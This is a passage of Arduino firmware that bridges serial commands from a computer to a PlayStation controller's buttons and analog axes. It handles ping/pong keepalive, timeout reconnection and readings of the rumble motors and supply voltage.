long)serial_rx_buffer_pong_in[5] << 24 | (unsigned long)serial_rx_buffer_pong_in[6] << 16 | (unsigned long)serial_rx_buffer_pong_in[7] << 8 | (unsigned long)serial_rx_buffer_pong_in[8];\r\n \/\/ Respond PONG with PONG for debugging purposes\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_pong_in); serial_rx_buffer_counter++) {\r\n if (serial_rx_buffer_counter == 0) {\r\n Serial.write(0x05);\r\n }\r\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4)) {\r\n Serial.write(serial_rx_buffer_pong_in[serial_rx_buffer_counter]);\r\n }\r\n if ((serial_rx_buffer_counter == 5) || (serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\r\n Serial.write(serial_rx_buffer_pong_in[serial_rx_buffer_counter]);\r\n }\r\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\r\n Serial.write(0x00);\r\n }\r\n if (serial_rx_buffer_counter == 11) {\r\n Serial.write(0x05);\r\n }\r\n }\r\n \/*\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_pong_in); serial_rx_buffer_counter++) {\r\n serial_rx_buffer_ping_out[serial_rx_buffer_counter] = serial_rx_buffer_pong_in[serial_rx_buffer_counter];\r\n if (serial_rx_buffer_counter == 0) {\r\n Serial.write(0x04);\r\n }\r\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4)) {\r\n Serial.write(0x00);\r\n }\r\n if ((serial_rx_buffer_counter == 5) || (serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\r\n Serial.write(serial_rx_buffer_ping_out[serial_rx_buffer_counter]);\r\n }\r\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\r\n Serial.write(0x00);\r\n }\r\n if (serial_rx_buffer_counter == 11) {\r\n Serial.write(0x04);\r\n }\r\n \/\/Serial.write(serial_rx_buffer[serial_rx_buffer_counter]); \/\/ Write time back to computer\r\n sentPong = true;\r\n }\r\n *\/\r\n previousPongDelay = currentMillis;\r\n lastPongIn = currentMillis;\r\n Serial.flush();\r\n readMotors();\r\n}\r\n\r\nvoid sendPing() {\r\n \/\/ This function sends PING to the computer 1 time per second, the computer then responds with PONG back to the Arduino, PONG is then processed in another function\r\n if (currentMillis - previousPingDelay >= pingDelay) {\r\n pingTimeOut = currentMillis;\r\n serial_rx_buffer_ping_out[8] = (byte)((pingTimeOut & 0xFF));\r\n serial_rx_buffer_ping_out[7] = (byte)((pingTimeOut >> 8) & 0xFF);\r\n serial_rx_buffer_ping_out[6] = (byte)((pingTimeOut >> 16) & 0xFF);\r\n serial_rx_buffer_ping_out[5] = (byte)((pingTimeOut >> 24) & 0xFF);\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_ping_out); serial_rx_buffer_counter++) {\r\n if (serial_rx_buffer_counter == 0) {\r\n Serial.write(0x03);\r\n }\r\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4)) {\r\n Serial.write(0x00);\r\n }\r\n if ((serial_rx_buffer_counter == 5) || (serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\r\n Serial.write(serial_rx_buffer_ping_out[serial_rx_buffer_counter]);\r\n }\r\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\r\n Serial.write(0x00);\r\n }\r\n if (serial_rx_buffer_counter == 11) {\r\n Serial.write(0x03);\r\n }\r\n }\r\n Serial.flush();\r\n \/\/readMotors(); \/\/ This is here for debugging reasons.\r\n sentPing = true;\r\n if (readMotorsAlongSendPing == 0)\r\n {\r\n readMotors();\r\n }\r\n \/\/readMotors();\r\n previousPingDelay += pingDelay;\r\n }\r\n sentPing = false;\r\n}\r\n\r\nvoid calculatePing() {\r\n \/\/ Calculate delay since last PONG sent from the computer, If the computer doesn't respond with PONG in 10 seconds since the last PONG sent from the computer, connection is interrupted and the restarted\r\n calcPingTimestampIn = (currentMillis - previousPingDelay);\r\n if (autoDisconnectOnPingTimeout == 0) {\r\n if ((calcPongTimestampIn - calcPingTimestampIn >= 10000) && (calcPongTimestampIn - calcPingTimestampIn <= currentMillis)) {\r\n disconnectCalled = currentMillis;\r\n\r\n \/\/ Before disconnecting, we need to reset all Command status, and tell the computer they were reset\r\n serial_rx_buffer_controller[0] = 0x01; \/\/ Preamble\r\n serial_rx_buffer_controller[1] = 0x00; \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n serial_rx_buffer_controller[2] = 0x00; \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n serial_rx_buffer_controller[3] = 0x7F; \/\/ Analog X Axis\r\n serial_rx_buffer_controller[4] = 0x7F; \/\/ Analog Y Axis\r\n serial_rx_buffer_controller[5] = 0x7F; \/\/ C X Axis\r\n serial_rx_buffer_controller[6] = 0x7F; \/\/ C Y Axis\r\n serial_rx_buffer_controller[7] = 0x00; \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n serial_rx_buffer_controller[8] = 0x00; \/\/ Unused\r\n serial_rx_buffer_controller[9] = 0x00; \/\/ Delay Byte 2\r\n serial_rx_buffer_controller[10] = 0x00; \/\/ Delay Byte 1\r\n serial_rx_buffer_controller[11] = 0x01; \/\/ Postamble\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n }\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));\r\n digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));\r\n digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));\r\n digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));\r\n digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));\r\n digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));\r\n digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));\r\n digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));\r\n digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));\r\n digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));\r\n digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));\r\n digitalWrite(commandArray[12], ((255 - serial_rx_buffer_inverted_controller[2]) & B00010000));\r\n digitalWrite(commandArray[13], ((255 - serial_rx_buffer_inverted_controller[2]) & B00100000));\r\n digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));\r\n digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));\r\n\r\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\r\n \/\/ Analog X Axis, Analog Y Axis, C X Axis, C Y Axis\r\n analogWrite(commandArray[16], (255 - serial_rx_buffer_inverted_controller[3]));\r\n analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);\r\n analogWrite(commandArray[18], (255 - serial_rx_buffer_inverted_controller[5]));\r\n analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);\r\n\r\n \/\/ Mode Button, Buffer Array Element 7\r\n \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));\r\n\r\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\r\n Serial.flush();\r\n\r\n \/\/ Tell the computer the connection is about to be closed\r\n serial_rx_buffer_disconnect[8] = (byte)((disconnectCalled & 0xFF));\r\n serial_rx_buffer_disconnect[7] = (byte)((disconnectCalled >> 8) & 0xFF);\r\n serial_rx_buffer_disconnect[6] = (byte)((disconnectCalled >> 16) & 0xFF);\r\n serial_rx_buffer_disconnect[5] = (byte)((disconnectCalled >> 24) & 0xFF);\r\n \/\/Serial.println(disconnectCalled);\r\n \/\/Serial.println(\"DISCONNECTING...\");\r\n \/\/Serial.print(\"DISCONNECTING PING = \");\r\n \/\/Serial.println(calcPongTimestampIn);\r\n serial_rx_buffer_disconnect[0] = 0x09;\r\n serial_rx_buffer_disconnect[11] = 0x09;\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n }\r\n Serial.flush();\r\n \/\/calcPongTimestamp = 0;\r\n previousPongDelay = currentMillis;\r\n \/\/Serial.println(\"Closing connection\");\r\n \/\/Serial.println(calcPongTimestamp);\r\n Serial.end();\r\n isConnected = false;\r\n \/\/delay(2500); \/\/ Wait 2.5 seconds before starting connection\r\n \/\/Serial.println(\"Sending shit after connection has closed\");\r\n Serial.begin(baudRate);\r\n \/\/Serial.println(\"Connection started\");\r\n \/\/ Tell the computer the connection has began succesfully\r\n serial_rx_buffer_disconnect[0] = 0x0B;\r\n serial_rx_buffer_disconnect[11] = 0x0B;\r\n serial_rx_buffer_disconnect[8] = (byte)((disconnectDone & 0xFF));\r\n serial_rx_buffer_disconnect[7] = (byte)((disconnectDone >> 8) & 0xFF);\r\n serial_rx_buffer_disconnect[6] = (byte)((disconnectDone >> 16) & 0xFF);\r\n serial_rx_buffer_disconnect[5] = (byte)((disconnectDone >> 24) & 0xFF);\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n }\r\n Serial.flush();\r\n\r\n \/\/ Reset all Commands status just to make sure everything is working as intended\r\n serial_rx_buffer_controller[0] = 0x01; \/\/ Preamble\r\n serial_rx_buffer_controller[1] = 0x00; \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n serial_rx_buffer_controller[2] = 0x00; \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n serial_rx_buffer_controller[3] = 0x7F; \/\/ Analog X Axis\r\n serial_rx_buffer_controller[4] = 0x7F; \/\/ Analog Y Axis\r\n serial_rx_buffer_controller[5] = 0x7F; \/\/ C X Axis\r\n serial_rx_buffer_controller[6] = 0x7F; \/\/ C Y Axis\r\n serial_rx_buffer_controller[7] = 0x00; \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n serial_rx_buffer_controller[8] = 0x00; \/\/ Unused\r\n serial_rx_buffer_controller[9] = 0x00; \/\/ Delay Byte 2\r\n serial_rx_buffer_controller[10] = 0x00; \/\/ Delay Byte 1\r\n serial_rx_buffer_controller[11] = 0x01; \/\/ Postamble\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n }\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));\r\n digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));\r\n digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));\r\n digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));\r\n digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));\r\n digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));\r\n digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));\r\n digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));\r\n digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));\r\n digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));\r\n digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));\r\n digitalWrite(commandArray[12], ((255 - serial_rx_buffer_inverted_controller[2]) & B00010000));\r\n digitalWrite(commandArray[13], ((255 - serial_rx_buffer_inverted_controller[2]) & B00100000));\r\n digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));\r\n digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));\r\n\r\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\r\n \/\/ Analog X Axis, Analog Y Axis, C X Axis, C Y Axis\r\n analogWrite(commandArray[16], (255 - serial_rx_buffer_inverted_controller[3]));\r\n analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);\r\n analogWrite(commandArray[18], (255 - serial_rx_buffer_inverted_controller[5]));\r\n analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);\r\n\r\n \/\/ Mode Button, Buffer Array Element 7\r\n \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));\r\n\r\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\r\n Serial.flush();\r\n\r\n isConnected = true;\r\n disconnectDone = currentMillis;\r\n \/\/Serial.println(\"Sending shit after connection has began\");\r\n \/\/Serial.println(\"RECONNECTED!\");\r\n \/\/Serial.println(calcPongTimestampIn);\r\n \/\/disconnectDone = currentMillis;\r\n \/\/Serial.println(disconnectDone);\r\n }\r\n }\r\n else if (calcPongTimestampIn - calcPingTimestampIn < 10000) {\r\n \/\/Serial.println(\"PONG OK\");\r\n \/\/Serial.println(currentMillis);\r\n }\r\n}\r\n\r\nvoid calculatePong() {\r\n \/\/ Caclulate if PONG is out of range, then do something\r\n calcPongTimestampIn = (currentMillis - previousPongDelay);\r\n \/\/ Seriously, why did I make this function it serves no point, or I just forgot what it was supposed to be used for.(?)\r\n}\r\n\r\nvoid manualResetControllerData()\r\n{\r\n \/\/ This function resets controller data when requested by the computer. Can be used for example when something goes wrong on the computer's end.\r\n inputDelay = 0;\r\n isInputtingDelayed = false;\r\n isInputting = false;\r\n serial_rx_buffer_controller[0] = 0x01; \/\/ Preamble\r\n serial_rx_buffer_controller[1] = 0x00; \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n serial_rx_buffer_controller[2] = 0x00; \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n serial_rx_buffer_controller[3] = 0x7F; \/\/ Analog X Axis\r\n serial_rx_buffer_controller[4] = 0x7F; \/\/ Analog Y Axis\r\n serial_rx_buffer_controller[5] = 0x7F; \/\/ C X Axis\r\n serial_rx_buffer_controller[6] = 0x7F; \/\/ C Y Axis\r\n serial_rx_buffer_controller[7] = 0x00; \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n serial_rx_buffer_controller[8] = 0x00; \/\/ Unused\r\n serial_rx_buffer_controller[9] = 0x00; \/\/ Delay Byte 2\r\n serial_rx_buffer_controller[10] = 0x00; \/\/ Delay Byte 1\r\n serial_rx_buffer_controller[11] = 0x01; \/\/ Postamble\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n }\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));\r\n digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));\r\n digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));\r\n digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));\r\n digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));\r\n digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));\r\n digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));\r\n digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));\r\n digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));\r\n digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));\r\n digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));\r\n digitalWrite(commandArray[12], ((255 - serial_rx_buffer_inverted_controller[2]) & B00010000));\r\n digitalWrite(commandArray[13], ((255 - serial_rx_buffer_inverted_controller[2]) & B00100000));\r\n digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));\r\n digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));\r\n\r\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\r\n \/\/ Analog X Axis, Analog Y Axis, C X Axis, C Y Axis\r\n analogWrite(commandArray[16], (255 - serial_rx_buffer_inverted_controller[3]));\r\n analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);\r\n analogWrite(commandArray[18], (255 - serial_rx_buffer_inverted_controller[5]));\r\n analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);\r\n\r\n \/\/ Mode Button, Buffer Array Element 7\r\n \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));\r\n\r\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\r\n Serial.flush();\r\n inputDelay = 0;\r\n isInputtingDelayed = false;\r\n isInputting = false;\r\n}\r\n\r\nvoid autoResetControllerData()\r\n{\r\n \/\/ This function resets controller data when every 500ms, but only when there's no Input being executed.\r\n if (currentMillis - previousResetControllerDataDelay >= resetControllerDataDelay) {\r\n if (isInputting == false) {\r\n \/\/ This function resets contreoller data when requested by the computer. Can be used for example when something goes wrong on the computer's end.\r\n inputDelay = 0;\r\n isInputtingDelayed = false;\r\n isInputting = false;\r\n serial_rx_buffer_controller[0] = 0x01; \/\/ Preamble\r\n serial_rx_buffer_controller[1] = 0x00; \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n serial_rx_buffer_controller[2] = 0x00; \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n serial_rx_buffer_controller[3] = 0x7F; \/\/ Analog X Axis\r\n serial_rx_buffer_controller[4] = 0x7F; \/\/ Analog Y Axis\r\n serial_rx_buffer_controller[5] = 0x7F; \/\/ C X Axis\r\n serial_rx_buffer_controller[6] = 0x7F; \/\/ C Y Axis\r\n serial_rx_buffer_controller[7] = 0x00; \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n serial_rx_buffer_controller[8] = 0x00; \/\/ Unused\r\n serial_rx_buffer_controller[9] = 0x00; \/\/ Delay Byte 2\r\n serial_rx_buffer_controller[10] = 0x00; \/\/ Delay Byte 1\r\n serial_rx_buffer_controller[11] = 0x01; \/\/ Postamble\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\r\n if (autoResetControllerDataStatus == 0) {\r\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n }\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n }\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));\r\n digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));\r\n digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));\r\n digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));\r\n digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));\r\n digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));\r\n digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));\r\n digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));\r\n digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));\r\n digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));\r\n digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));\r\n digitalWrite(commandArray[12], ((255 - serial_rx_buffer_inverted_controller[2]) & B00010000));\r\n digitalWrite(commandArray[13], ((255 - serial_rx_buffer_inverted_controller[2]) & B00100000));\r\n digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));\r\n digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));\r\n\r\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\r\n \/\/ Analog X Axis, Analog Y Axis, C X Axis, C Y Axis\r\n analogWrite(commandArray[16], (255 - serial_rx_buffer_inverted_controller[3]));\r\n analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);\r\n analogWrite(commandArray[18], (255 - serial_rx_buffer_inverted_controller[5]));\r\n analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);\r\n\r\n \/\/ Mode Button, Buffer Array Element 7\r\n \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));\r\n\r\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\r\n if (autoResetControllerDataStatus == 0) {\r\n Serial.flush();\r\n }\r\n inputDelay = 0;\r\n isInputtingDelayed = false;\r\n isInputting = false;\r\n }\r\n previousResetControllerDataDelay += resetControllerDataDelay;\r\n }\r\n}\r\n\r\nvoid readMotors() {\r\n if ((serial_rx_buffer_motor[0] == 0x02) && (serial_rx_buffer_motor[11] == 0x02))\r\n {\r\n \/\/ Observed value is ~39 when On , 0 when Off (Reading analog instead of digital, so I can get a threshold of the reading)\r\n \/\/ ~15 when floating (Controller isn't plugged in to PlayStation or PlayStation2)\r\n \/\/leftMotorVal = (digitalRead(motorArray[0])); \/\/ This is the SMALL MOTOR\r\n leftMotorVal = (analogRead(motorArray[0]));\r\n \/\/ map() is used to convert min and max values to desired values, in this case, I need to convert 1023 to 255\r\n leftMotorVal = map(leftMotorVal, 0, 1023, 0, 255);\r\n\r\n \/\/ Observed value is ~39 when On , 0 when Off\r\n \/\/ ~15 when floating (Controller isn't plugged in to PlayStation or PlayStation2)\r\n rightMotorVal = (analogRead(motorArray[1]));\r\n \/\/rightMotorVal = (digitalRead(motorArray[1])); \/\/ This is the BIG MOTOR\r\n rightMotorVal = map(rightMotorVal, 0, 1023, 0, 255);\r\n\r\n \/\/ Observed value ~108 when HIGH (LED is OFF), ~84 when LOW (LED is ON)\r\n \/\/ ~20 when floating (Controller isn't plugged in to PlayStation or PlayStation2)\r\n analogLedVal = (analogRead(motorArray[2]));\r\n \/\/analogLedVal = (digitalRead(motorArray[2])); \/\/ If analogLedVal = High, Analog is OFF, else if analogLedVal = Low, Analog is ON\r\n analogLedVal = map(analogLedVal, 0, 1023, 0, 255);\r\n\r\n vccReading = (analogRead(vccPin));\r\n \/\/ ~25 when floating (Unplugged from the PlayStation or PlayStation 2)\r\n \/\/ ~64 when turned off through the Low-Power Solid-State relay\r\n \/\/ ~196 when turned on through the Low-Power Solid-State relay and plugged in to the PS2\r\n vccReading = map(vccReading, 0, 1023, 0, 255);\r\n\r\n serial_rx_buffer_motor[5] = vccReading;\r\n serial_rx_buffer_motor[6] = leftMotorVal;\r\n serial_rx_buffer_motor[7] = rightMotorVal;\r\n serial_rx_buffer_motor[8] = analogLedVal;\r\n \/\/Serial.print('\\n');\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_motor); serial_rx_buffer_counter++) {\r\n if (serial_rx_buffer_counter == 0) {\r\n Serial.write(0x06);\r\n }\r\n if ((serial_rx_buffer_counter == 1) || (serial_rx_buffer_counter == 2) || (serial_rx_buffer_counter == 3) || (serial_rx_buffer_counter == 4)) {\r\n Serial.write(0x00);\r\n }\r\n if ((serial_rx_buffer_counter == 5) || (serial_rx_buffer_counter == 6) || (serial_rx_buffer_counter == 7) || (serial_rx_buffer_counter == 8)) {\r\n Serial.write(serial_rx_buffer_motor[serial_rx_buffer_counter]);\r\n }\r\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\r\n Serial.write(0x00);\r\n }\r\n if (serial_rx_buffer_counter == 11) {\r\n Serial.write(0x06);\r\n }\r\n serial_rx_buffer_motor[serial_rx_buffer_counter] = 0x00;\r\n }\r\n Serial.flush();\r\n }\r\n {\r\n \/\/ Observed value is ~39 when On , 0 when Off (Reading analog instead of digital, so I can get a threshold of the reading)\r\n \/\/ ~15 when floating (Controller isn't plugged in to PlayStation or PlayStation2)\r\n \/\/leftMotorVal = (digitalRead(motorArray[0]));\r\n leftMotorVal = (analogRead(motorArray[0]));\r\n \/\/ map() is used to convert min and max values to desired values, in this case, I need to convert 1023 to 255\r\n leftMotorVal = map(leftMotorVal, 0, 1023, 0, 255);\r\n\r\n \/\/ Observed value is ~39 when On , 0 when Off\r\n \/\/ ~15 when floating (Controller isn't plugged in to PlayStation or PlayStation2)\r\n rightMotorVal = (analogRead(motorArray[1]));\r\n \/\/rightMotorVal = (digitalRead(motorArray[1]));\r\n rightMotorVal = map(rightMotorVal, 0, 1023, 0, 255);\r\n\r\n \/\/ Observed value ~108 when HIGH (LED is OFF), ~84 when LOW (LED is ON)\r\n \/\/ ~20 when floating (Controller isn't plugged in to PlayStation or PlayStation2)\r\n analogLedVal = (analogRead(motorArray[2]));\r\n \/\/analogLedVal = (digitalRead(motorArray[2]));\r\n 